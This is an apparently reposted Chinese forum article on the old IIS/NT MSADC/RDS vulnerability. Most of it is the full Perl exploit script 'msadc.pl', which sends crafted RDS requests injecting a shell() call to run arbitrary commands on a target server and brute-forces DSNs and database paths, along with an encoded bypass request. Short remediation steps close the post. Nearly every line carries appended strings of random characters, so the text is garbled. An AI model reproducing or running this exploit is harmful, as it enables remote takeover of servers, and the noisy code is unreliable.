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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) c*#*8R9.y  
+Qe&#"O0  
涉及程序: '+ cPx\4  
Microsoft NT server THbV],RhJ  
#$[}JiuL/  
描述: 5?n@.hcL  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限  rVo?I  
NYcF]K}[  
详细: kX^Y{73  
如果你没有时间读详细内容的话,就删除: 78 W&  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 0QxE6>xL=  
有关的安全问题就没有了。 =^LX,!2zp{  
&.}Z j*BD  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Cs ND:m  
Tp?l;DU  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 EFb"{L  
关于利用ODBC远程漏洞的描述,请参看: (G 3S+T 9  
x:O;Z~ |.  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 'P^6H$0  
<>FpvdB  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 >1n[Y- r  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp H(TY.  
]TmxCTVL  
这里不再论述。 =icynW^Fr  
z3:tSjF  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:  e ):rr*  
B:Xmc,|,  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 7#BU d/  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ()>,L? y  
%!i|"FNc  
7pY7iR_  
#将下面这段保存为txt文件,然后: "perl -x 文件名" fmhqm"  
x)<Hr,wd  
#!perl R~R?0aq  
# h#>%\Pvt;  
# MSADC/RDS 'usage' (aka exploit) script <) ` ?s  
# Y([YDn  
# by rain.forest.puppy .oNs8._:  
# Cg! ]x o  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me h NCoX*icd  
# beta test and find errors! A#6\5u  
"me a*-XB  
use Socket; use Getopt::Std; S EeDq/h  
getopts("e:vd:h:XR", \%args); tM$w0Cj  
Mh+ym]6\(k  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; kr|u ||  
jo_wBJKE  
if (!defined $args{h} && !defined $args{R}) { DVWqrK}q  
print qq~ *l[;g  
Usage: msadc.pl -h <host> { -d <delay> -X -v } _V`Gmy[]p  
-h <host> = host you want to scan (ip or domain) RvPC7,vh  
-d <seconds> = delay between calls, default 1 second e5 ?;{H  
-X = dump Index Server path table, if available LT3ViCZ-n  
-v = verbose dlx "L%  
-e = external dictionary file for step 5 UpU2H4  
R}-<ZJe  
Or a -R will resume a command session +W6QtB6  
kCu"G  
~; exit;} ~X`_ g/5X  
};:+0k/  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; MZ{gU>K+  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} _8U 5mW  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} u,R;=DNl  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); z[I3k  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} `;9Z?]}`  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 1%nE  
FesXY856E  
if (!defined $args{R}){ $ret = &has_msadc; [Ie;Jd>gG  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} J}9 I5O  
|aT&rpt   
print "Please type the NT commandline you want to run (cmd /c assumed):\n" A80r@)i  
. "cmd /c "; tX$ v)O|  
$in=<STDIN>; chomp $in; |Ts|>"F'  
$command="cmd /c " . $in ; {iI" Lt  
X7*i -v@  
if (defined $args{R}) {&load; exit;} {Di()]/  
: ;nvqbd  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";  J(  
&try_btcustmr; M%evk4_27  
]R$ u3F  
print "\nStep 2: Trying to make our own DSN..."; I+?9}t  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; #xMl<  
 / >Z`?  
print "\nStep 3: Trying known DSNs..."; avb'J^}f  
&known_dsn; BP6|^Q  
[LQD]#  
print "\nStep 4: Trying known .mdbs..."; g.3a5#t  
&known_mdb; .<<RI8A  
YjTRz.e{[7  
if (defined $args{e}){ Wy[Ua#Dd  
print "\nStep 5: Trying dictionary of DSN names..."; R*l#[D5A  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 3:XF7T  
7ktSj}7W]  
print "Sorry Charley...maybe next time?\n"; JYt)4mOo  
exit; Vg 6/1I  
tf VK  
############################################################################## INd:_cT4l  
i58&o@.H<u  
sub sendraw { # ripped and modded from whisker VuOZZ7y  
sleep($delay); # it's a DoS on the server! At least on mine... CBqeO@M  
my ($pstr)=@_; _%xe:X+ M  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^4WNP  
die("Socket problems\n"); {!lC$SlJ  
if(connect(S,pack "SnA4x8",2,80,$target)){ :/c40:[  
select(S); $|=1; DcO$&)Eb  
print $pstr; my @in=<S>; }-ly'4=l  
select(STDOUT); close(S); #^+C k HX  
return @in; A{HP*x~t  
} else { die("Can't connect...\n"); }} xH\#:DLY  
[IF5Iv\b  
############################################################################## Pp*:rA"N  
8gQg#^,(t  
sub make_header { # make the HTTP request [O"9OW'2!B  
my $msadc=<<EOT k//l~A9m  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 X7cqAi  
User-Agent: ACTIVEDATA <}G*/ z?/  
Host: $ip 0%Y8M` ~s7  
Content-Length: $clen fd{75J5%  
Connection: Keep-Alive =i4%KF9 x  
ig Q,ZY1  
ADCClientVersion:01.06 >tmv3_<=  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 A)2eo<ij4  
Ej\M e  
--!ADM!ROX!YOUR!WORLD! k$kOp *X  
Content-Type: application/x-varg 4@iMGYR9!s  
Content-Length: $reqlen =N62 ){{  
e ej:  
EOT lo1<t<w`  
; $msadc=~s/\n/\r\n/g; D#=$? {w  
return $msadc;} }#u.Of`6"  
 b6`_;Z  
############################################################################## =RA8^wI  
Oy,7>vWQI  
sub make_req { # make the RDS request H2ZRUFu  
my ($switch, $p1, $p2)=@_; ;qA(!`h+  
my $req=""; my $t1, $t2, $query, $dsn; ~o_zV'^f@o  
?5N7,|K)  
if ($switch==1){ # this is the btcustmr.mdb query Hwz.5hV"  
$query="Select * from Customers where City=" . make_shell(); eHQS\n  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . t",=]k  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}  iI!MF1  
DRDn;j  
elsif ($switch==2){ # this is general make table query FZvh]ZX  
$query="create table AZZ (B int, C varchar(10))"; :7WeR0*%  
$dsn="$p1";} BHNcE*U}@?  
CAbeb+O  
elsif ($switch==3){ # this is general exploit table query 9J*M~gKbz  
$query="select * from AZZ where C=" . make_shell(); .T2P%Jn.  
$dsn="$p1";} pR3@loFQ`o  
>@Nn_d  
elsif ($switch==4){ # attempt to hork file info from index server m-< "`:+  
$query="select path from scope()"; X,] E {  
$dsn="Provider=MSIDXS;";} LU-,B?1  
c:J;Q){Xz  
elsif ($switch==5){ # bad query ii3{HJ*C  
$query="select"; T J!d 7  
$dsn="$p1";} A~@u#]]<n  
(~6D`g`B  
$t1= make_unicode($query); W~!uSrY  
$t2= make_unicode($dsn); U,tl)(!@Q-  
$req = "\x02\x00\x03\x00"; W Ai91K@  
$req.= "\x08\x00" . pack ("S1", length($t1)); d)R7#HLZ7  
$req.= "\x00\x00" . $t1 ; [Yq*DkW  
$req.= "\x08\x00" . pack ("S1", length($t2)); Y"n$d0%  
$req.= "\x00\x00" . $t2 ; 1edeV48{:  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; IO@Ti(,  
return $req;} 0SHF 8kek  
z]twh&^1L  
############################################################################## TtWE:xE  
 dcd9AW=  
sub make_shell { # this makes the shell() statement 0b)q,]l]  
return "'|shell(\"$command\")|'";} {:63% j  
iI]E%H}  
############################################################################## I+!?~]AUuq  
@VzD> ?)  
sub make_unicode { # quick little function to convert to unicode ~S85+OJ;M  
my ($in)=@_; my $out; pzQWr*5a  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } !,(6uO%  
return $out;} 8mmHefZ}2!  
yUyx&Y/  
############################################################################## WZ A8D0[  
[X\<C '<  
sub rdo_success { # checks for RDO return success (this is kludge) ~+~^c|  
my (@in) = @_; my $base=content_start(@in); )B!64'|M  
if($in[$base]=~/multipart\/mixed/){ F?!X<N{  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 1.U9EuI  
return 0;} 1v?|n8  
@ptE&m  
############################################################################## S^ ,q{x*T  
ta*6xpz-\Q  
sub make_dsn { # this makes a DSN for us 3d>3f3D8;  
my @drives=("c","d","e","f"); e8Y;~OAj[  
print "\nMaking DSN: "; <hv {,1p-r  
foreach $drive (@drives) { aANzL  
print "$drive: "; !&f>,?wlP  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . (2l?~CaK  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" @hG]Gs[,o  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ;bMmJ>[l-  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; `{B<|W$=  
return 0 if $2 eq "404"; # not found/doesn't exist W]-c`32~S  
if($2 eq "200") { vJ a?5Jr  
foreach $line (@results) { *#| lhf'  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} VGVb3@  
} return 0;} ImG7E w  
jgyXb5GY  
############################################################################## skeXsls  
y.6Yl**l  
sub verify_exists { rHMr8,J;  
my ($page)=@_; c+bOp 05o-  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6a%dq"5 +  
return $results[0];} FRR`<do5$,  
+vSp+X1E  
############################################################################## \G~<O071  
fJdTVs@  
sub try_btcustmr { ^h5h kIx0  
my @drives=("c","d","e","f"); 'ZXd |WI  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }Y=X{3+~.  
F5(DA  
foreach $dir (@dirs) { AB0>|.  
print "$dir -> "; # fun status so you can see progress +*')0I  
foreach $drive (@drives) { .zQ'}H1.C  
print "$drive: "; # ditto d>YX18'<Q  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; px~:'U  
$reqlenlen=length( "$reqlen" ); .}4^b\   
$clen= 206 + $reqlenlen + $reqlen; lI&5.,2MP  
ro8c-[V  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ;&~9k?v7L  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ,mY3oyu  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} rF:l+I]  
<AN=@`+  
############################################################################## C U 8s*  
$psPNJG  
sub odbc_error { [a2Q ^ab  
my (@in)=@_; my $base; 7&>==|gt  
my $base = content_start(@in); D3 .$Vl,.  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this q Xj]O3 mm  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; EjjW%"C,  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; v*3tqT(%  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0V!@*Z  
return $in[$base+4].$in[$base+5].$in[$base+6];} G{!adBna  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; /@xL {  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . }48 o{\  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} hha!uD~(  
0\tdxi  
############################################################################## ^a #  
BqG7E t  
sub verbose { k>W}9^ cK  
my ($in)=@_; (V:)`A_-  
return if !$verbose; [`/d$V!e  
print STDOUT "\n$in\n";} _WB*ArR  
!IAd.<,  
############################################################################## gg+!e#-X  
.'Rz tBv  
sub save { +T*]!9%<`:  
my ($p1, $p2, $p3, $p4)=@_; f`Wces=5  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; .J fV4!=o  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 9|5>?'CqP  
close OUT;} =+>^:3cCQ  
96 P3B}Dk  
############################################################################## bQBYzvd  
$geDB~ 2>  
sub load { _a&Mk  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; <v+M~"%V  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); O tD!@GQ6  
@p=<IN>; close(IN); Q|&Wcxq2!  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); cjyb:gAO  
$target= inet_aton($ip) || die("inet_aton problems"); geJO#;  
print "Resuming to $ip ..."; > a"4aYj  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; VU ,tCTXz  
if($p[1]==1) { <cNg_ZZ;8  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; gVU&Yl~/^  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; :!WKD@]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); iD`>Bt7gD  
if (rdo_success(@results)){print "Success!\n";} ,.-85isco  
else { print "failed\n"; verbose(odbc_error(@results));}} jB-wJNP/  
elsif ($p[1]==3){ }$D{YHF  
if(run_query("$p[3]")){ P d)<Iw^<  
print "Success!\n";} else { print "failed\n"; }} ;UoXj+Z  
elsif ($p[1]==4){ F ?.J1]  
if(run_query($drvst . "$p[3]")){ OJTEvb6nPg  
print "Success!\n"; } else { print "failed\n"; }} q%\rj?U_  
exit;} ,`.`}'  
w829 8Kl  
############################################################################## a,~}G'U  
n}!D)Gx  
sub create_table { kO'_g1f<[  
my ($in)=@_; ^E|{i]j#f  
$reqlen=length( make_req(2,$in,"") ) - 28; e(~Y!:Q#O  
$reqlenlen=length( "$reqlen" ); \h UE, ^  
$clen= 206 + $reqlenlen + $reqlen; YdiXj |k+  
my @results=sendraw(make_header() . make_req(2,$in,"")); HP G*o  
return 1 if rdo_success(@results); UukHz}(E  
my $temp= odbc_error(@results); verbose($temp); ~RIn7/A  
return 1 if $temp=~/Table 'AZZ' already exists/; \r^*4P,,  
return 0;} C$#X6Q!,  
n&;-rj^qq  
############################################################################## 8^)K|+_'m  
DY'1#$;  
sub known_dsn { * u{CnH  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go BzyzOtBp3L  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 0$e]?]X6  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", /'WVRa  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); &XH{,fv$  
x39n7+j4  
foreach $dSn (@dsns) { ;VI W/  
print "."; I$vM )+v=  
next if (!is_access("DSN=$dSn")); FEq R7  
if(create_table("DSN=$dSn")){ lL]8~3b  
print "$dSn successful\n"; &bw ``e&c  
if(run_query("DSN=$dSn")){ XJ9bY\>)q1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 97~*Z|#<+  
print "Something's borked. Use verbose next time\n";}}} print "\n";} elw}(l<F  
E])X$:P?  
############################################################################## mbCY\vEl  
2%oo.?!R  
sub is_access { m(c5g[6nO  
my ($in)=@_; pGhA  
$reqlen=length( make_req(5,$in,"") ) - 28; 3t^r;b  
$reqlenlen=length( "$reqlen" ); L?~-<k  
$clen= 206 + $reqlenlen + $reqlen; gt= _;KZ  
my @results=sendraw(make_header() . make_req(5,$in,"")); 0"O22<K3a  
my $temp= odbc_error(@results); A"` (^#a  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); .f~x*@  
return 0;} 8 ?+t+m[  
M+q|z0U  
############################################################################## >xa k  
4zw5?$YWO"  
sub run_query { %U$PcHOo  
my ($in)=@_; 2gC.Z:}  
$reqlen=length( make_req(3,$in,"") ) - 28; is,r:  
$reqlenlen=length( "$reqlen" ); ]/C1pG*o  
$clen= 206 + $reqlenlen + $reqlen; yg-uL48q  
my @results=sendraw(make_header() . make_req(3,$in,"")); Tr@}  
return 1 if rdo_success(@results); SpG^kI #  
my $temp= odbc_error(@results); verbose($temp); &:ib>EB03=  
return 0;} |Lz:i +;  
\hcb~>=C  
############################################################################## ;}=[( eqA  
(HZzA7eph  
sub known_mdb { V3]"ROH  
my @drives=("c","d","e","f","g"); F 6 xQ`T|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); hc4W|Ofj  
my $dir, $drive, $mdb; lY_&P.B  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ZZXQCP6]  
U]h5Q.<SG  
# this is sparse, because I don't know of many ctg[C$<q|  
my @sysmdbs=( "\\catroot\\icatalog.mdb", |Skxa\MI  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", #[a+m  
"\\system32\\certmdb.mdb", 8`/nk `;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% {Noa4i  
ua -cX3E  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", WV'FW)%  
"\\cfusion\\cfapps\\forums\\forums_.mdb", G()- NJ{  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Vgh_F8G!V  
"\\cfusion\\cfapps\\security\\realm_.mdb", RW@sh9  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", t6)wR  
"\\cfusion\\database\\cfexamples.mdb", ,Uh7Q-vd  
"\\cfusion\\database\\cfsnippets.mdb", ZxRD+`  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Kpo{:a  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", [|\JIr=of5  
"\\cfusion\\brighttiger\\database\\cleam.mdb", e2v[ma-  
"\\cfusion\\database\\smpolicy.mdb", Jm+hDZrW  
"\\cfusion\\database\cypress.mdb", ,&\uuD&.@  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Yy"05V.  
"\\website\\cgi-win\\dbsample.mdb", 1x^(vn#=  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", -$]Tn#`Fb  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ?r,lgaw  
); #these are just u}7#3JfLn  
foreach $drive (@drives) { ttwfWfX  
foreach $dir (@dirs){ N}*|*!6hI  
foreach $mdb (@sysmdbs) { n0T'"i[  
print "."; W]UGo,  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ HZ1e~IIw  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; @ qfVt  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ v_gQCS  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 7O)U(<70  
} else { print "Something's borked. Use verbose next time\n"; }}}}} [8VB"{{&  
TuBl9 p'6  
foreach $drive (@drives) { ]tVU$9D   
foreach $mdb (@mdbs) { tCk;tu!d  
print "."; W:7oGZ>4  
if(create_table($drv . $drive . $dir . $mdb)){ Vc! ;O9dP  
print "\n" . $drive . $dir . $mdb . " successful\n"; 'j)xryw  
if(run_query($drv . $drive . $dir . $mdb)){ 0.~Pzg  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; L{)e1p]q  
} else { print "Something's borked. Use verbose next time\n"; }}}} !6pOY*> j  
} FX FTf2*T  
xsx @aF  
############################################################################## z~/z>_y$nv  
Ew=8"V`C  
sub hork_idx { 8/;q~:v  
print "\nAttempting to dump Index Server tables...\n"; OgiElA.  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; "b!EtlT9  
$reqlen=length( make_req(4,"","") ) - 28; NY'sZTM&  
$reqlenlen=length( "$reqlen" ); (o1*7_]e  
$clen= 206 + $reqlenlen + $reqlen; >C`b 4xQ  
my @results=sendraw2(make_header() . make_req(4,"","")); 1A4!zqT;  
if (rdo_success(@results)){ .O{2]e$  
my $max=@results; my $c; my %d; T<|B1jA  
for($c=19; $c<$max; $c++){ >5&'_  
$results[$c]=~s/\x00//g; [lqwzW{(UN  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; '*5I5'[ X,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; LFCcV<~  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; o yBBW?m  
$d{"$1$2"}="";} ;~$_A4;  
foreach $c (keys %d){ print "$c\n"; } Hb KJ&^  
} else {print "Index server doesn't seem to be installed.\n"; }} gL(ny/Ob9  
%&+j(?9  
############################################################################## &k /uR;yw  
G SXe=?  
sub dsn_dict { /RuGh8qzP  
open(IN, "<$args{e}") || die("Can't open external dictionary\n");  iK$)Iy0  
while(<IN>){ 'b#`8k~>  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ysV0Ed  
next if (!is_access("DSN=$dSn")); O!}TZfC  
if(create_table("DSN=$dSn")){ (bxSN@hp2  
print "$dSn successful\n"; L\Uf+d:&}G  
if(run_query("DSN=$dSn")){ 6 s{~9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [2UjY^\;T  
print "Something's borked. Use verbose next time\n";}}} )z/+!y  
print "\n"; close(IN);} *.0}3  
1MH[-=[Q  
############################################################################## .v36xXK(  
_uuxTNN0x*  
sub sendraw2 { # ripped and modded from whisker \ %Er%yv)  
sleep($delay); # it's a DoS on the server! At least on mine... {(@M0?  
my ($pstr)=@_; X !g"D6'  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || N<1u,[+  
die("Socket problems\n"); c rPEr  
if(connect(S,pack "SnA4x8",2,80,$target)){ ~F^(O{EG  
print "Connected. Getting data"; QAigbSn]  
open(OUT,">raw.out"); my @in; wK+%[i&,  
select(S); $|=1; print $pstr; N/QTf1$  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Z~o6%_xe  
close(OUT); select(STDOUT); close(S); return @in; Amf gc>eJ  
} else { die("Can't connect...\n"); }} t@[&8j2B>  
D.zEE-cGyb  
############################################################################## Vv4 w?K  
k/A8 |  
sub content_start { # this will take in the server headers 4k5X'&Q  
my (@in)=@_; my $c; a9C8Q l  
for ($c=1;$c<500;$c++) { Ah,X?0+  
if($in[$c] =~/^\x0d\x0a/){ GsG.9nd  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } !rzbm&@  
else { return $c+1; }}} 79|=y7i#  
return -1;} # it should never get here actually dd#=_xe  
\jDD=ew  
############################################################################## ufE;rcYE  
>NWrT^rk  
sub funky { yrOWC  
my (@in)=@_; my $error=odbc_error(@in); ?!=yp#  
if($error=~/ADO could not find the specified provider/){ :DTKZ9>2D  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 095:"GvO  
exit;} _FXvJ}~m  
if($error=~/A Handler is required/){ f]MKNX  
print "\nServer has custom handler filters (they most likely are patched)\n"; )?#*GMWU  
exit;} U}ei2q\  
if($error=~/specified Handler has denied Access/){ F.2<G.9  
print "\nServer has custom handler filters (they most likely are patched)\n"; a>x3UVf_  
exit;}} .UF](  
@:u>  
############################################################################## YvD+Lk'hm  
P,-f]k[_  
sub has_msadc { @sUYjB  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Umx~!YL!  
my $base=content_start(@results); % UDz4?zx  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); o2  
return 0;} XKD0n^L[  
h.PVRAwk  
######################## `)Z"||8K  
 J jRz<T;  
f%fD>a  
解决方案: m20:{fld  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll hK F*{,'  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 +XV7W=  
DX>Yf}  
拿出来充数 哈哈
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